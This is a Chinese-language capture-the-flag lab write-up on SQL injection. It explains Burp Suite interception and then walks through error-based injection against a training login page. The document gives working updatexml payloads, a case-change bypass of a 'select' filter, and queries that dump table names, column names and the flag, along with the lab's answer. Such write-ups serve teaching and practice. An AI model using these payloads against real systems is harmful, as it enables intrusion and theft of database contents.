靶场:SQL注入-2
知识点
-
burpsuit使用方法
- 首先为浏览器设置proxy代理,127.0.0.1:8080
- 在burp的proxy选项中打开
intercept is on
- 在浏览器中访问网址,burp自动抓包,按
ctrl+r
发送至repeater选项 - 在repeater中进行修改,send后可在右栏查看返回内容
-
sql注入方法
- 测试是否存在注入点
- 按表名、列名、字段顺序依次查找
解题思路
1. 根据提示,访问login或user
login.php
查看页面源代码,发现一行注释
user.php
只有login first
2. 对login.php进行burp抓包
-
在login.php页面随意输入账号密码,打开burp,网页中点击登录,抓包后
ctrl+r
发送到repeater
-
根据之前注释的提示,加入
?tips=1
,然后send
得到一行信息{"error":1,"msg":"\u8d26\u53f7\u4e0d\u5b58\u5728"}
用的是unicode编码,转换过来就是{"error":1,"msg":"账号不存在"}
-
进行一个dual测试
name=1111'and updatexml(1,concat(0x7e,(select 1 from dual)),1)--+&pass=1111
报错信息
string(166) "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'from dual)),1)-- '' at line 1" {"error":1,"msg":"\u8d26\u53f7\u4e0d\u5b58\u5728"}
-
可以看出是select过滤了,尝试大小写绕过
name=1111'and updatexml(1,concat(0x7e,(sELECT 1 from dual)),1)--+&pass=1111
得到结果:
string(24) "XPATH syntax error: '~1'"
3. 对login.php进行注入
-
查表名,查到fl4g和users
name=1111'and updatexml(1,concat(0x7e,(sELECT group_concat(table_name) from information_schema.tables where table_schema=database())),1)--+&pass=1111
-
查fl4g的列名,查到列名:flag
name=1111'and updatexml(1,concat(0x7e,(sELECT group_concat(column_name) from information_schema.columns where table_name='fl4g')),1)--+&pass=1111
-
查字段,得到flag:n1book{login_sqli_is_nice}
name=1111'and updatexml(1,concat(0x7e,(sELECT flag from fl4g)),1)--+&pass=1111